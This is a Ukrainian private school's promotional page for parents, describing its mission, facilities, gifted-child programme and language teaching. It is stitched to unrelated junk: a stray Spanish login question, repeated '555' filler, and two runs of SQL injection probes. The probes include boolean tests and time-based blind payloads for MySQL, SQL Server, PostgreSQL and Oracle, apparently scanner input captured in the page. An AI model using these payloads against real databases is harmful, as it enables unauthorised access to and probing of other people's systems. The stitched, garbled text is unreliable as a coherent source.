Зараз у нього трохи змінилося значення - це щось важливе, що ми несемо в собі світу.
У вас, дорогі батьки, місія. У Мрії теж місія.
І якщо ми скажемо, що дитина в Мрії - це головна цінність, що він надихає нас на творчість, є сенсом, то наші місії збігаються
І якщо все збіглося - попереду у нас світлі чотири роки щасливого партнерства в стінах "Мрії"
Який би ви хотіли бачити сучасну школу?
А якою її зробили ми?
Технічно оснащені класи, просторі, світлі, прикрашені квітами коридори, спортивний комплекс, басейн, майстерні та лабораторії, кімнати відпочинку для вчителів і учнів.
Саме тут проходять сучасні уроки з використанням нових педагогічних технологій і нових ТСО, працює мультимедіа центр, де інформацію учень може отримати як в електронному, так і в паперовому вигляді. Саме тут кипить життя на уроках та в позаурочний час.
"Мрія" - це особистості, характери учнів, тому, що б ми не робили, які б плани не будували, в центрі завжди буде дитина - наш учень. І його право вибору.
РН формує у дітей здатність до глибокого аналізу і світогляду, вмінню аргументовано міркувати і висловлювати свою точку зору;
- розвиває і реалізує приховані можливості, закладені в дитині;
- форма навчання не передбачає пасивного сприйняття інформації від педагога, а призводить до її засвоєнню шляхом серії послідовних логічних міркувань самим учнем. Фактично сам учень формує наступний щабель знань;
- розвиває здатність нетрадиційно мислити і знаходити нестандартні рішення;
- розвиває аналітичні здібності і вміння аргументовано висловлювати свою точку зору, дозволяючи дітям, які пройшли навчання за цією системою, досягати найвищих професійних результатів в їхньому подальшому житті.
Проект «Інтелект України» впроваджує в освітній простір систему розвитку і педагогічної підтримки академічно здібних та обдарованих дітей.
Дитина не народжується з табличкою "Я обдарований", "Я здатний".
Як розгледіти те, що приховано, як не втратити потенційно обдарованої дитини?
«Інтелект України» при організації навчання спирається на 2 ефективні освітні моделі:
модель збагачення. Сприяє формуванню якостей: ініціативність, самоконтроль, критичність мислення, креативність.
модель проблематизації. Сприяє формуванню творчого підходу і рефлексивного плану свідомості.
Головна ідея Нової української школи - компетентнісний підхід в навчанні.
Це означає, що учні не просто будуть здобувати знання, а вчитися використовувати їх на практиці і опановувати навичками.
Тобто формується ядро знань, на яке будуть накладатися вміння, як користуватися цими знаннями, цінності та навички, які
знадобляться випускникам школи у професійній і приватного життя.
Але це не все. З моменту заснування ми пропонуємо дітям можливість вивчення іноземних мов. Профільний англійський, і на вибір - німецька, французька, іспанська. Вивчення іноземної з носієм мови - прекрасна можливість для дітей практикуватися у вільному спілкуванні.
Додамо ще одну важливу деталь. Можливість додаткового розвитку вашого малюка, не виходячи за межі школи, відвідуючи відвідуючи творчі майстерні та спортивні клуби в другій половині дня:
І ще про важливе. Про наших вчителів, які прагнуть виконати нашу спільну місію - виростити щасливих і вільних дітей!
Всю свою роботу з дітьми ми направляємо на формування особистості та інтелекту, компетентності та лідерських якостей.
Рівність, так само значимість, і свобода дитини приймати власні рішення - це основні цінності нашої школи. Навчання і позакласні проекти покликані навчити дітей тому, що всі люди мають однакову цінність. Хлопці мають можливість впливати на свої шкільні будні, і швидко вчаться брати відповідальність за процес свого навчання.
Muchas gracias. ?Como puedo iniciar sesion?
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or '6rdezgBG'='
-1" OR 5*5=25 or "wBXEYk71"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555hZiR7Lo3'; waitfor delay '0:0:15' --
555-1 OR 742=(SELECT 742 FROM PG_SLEEP(15))--
555-1) OR 955=(SELECT 955 FROM PG_SLEEP(15))--
555-1)) OR 850=(SELECT 850 FROM PG_SLEEP(15))--
555SxHtiC91' OR 236=(SELECT 236 FROM PG_SLEEP(15))--
5558h0IkSs0') OR 110=(SELECT 110 FROM PG_SLEEP(15))--
555LB6eZIFH')) OR 155=(SELECT 155 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555����%2527%2522\'\"
@@wpxzK
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or '2IeIwnpP'='
-1" OR 5*5=25 or "AaRSUGih"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555DR0jqKGT'; waitfor delay '0:0:15' --
555-1 OR 695=(SELECT 695 FROM PG_SLEEP(15))--
555-1) OR 74=(SELECT 74 FROM PG_SLEEP(15))--
555-1)) OR 370=(SELECT 370 FROM PG_SLEEP(15))--
555qZsCaLTK' OR 48=(SELECT 48 FROM PG_SLEEP(15))--
555d3hBIBOt') OR 143=(SELECT 143 FROM PG_SLEEP(15))--
555V8k9xK5I')) OR 283=(SELECT 283 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555����%2527%2522\'\"
@@mPAA1
1
1
1
1
1
1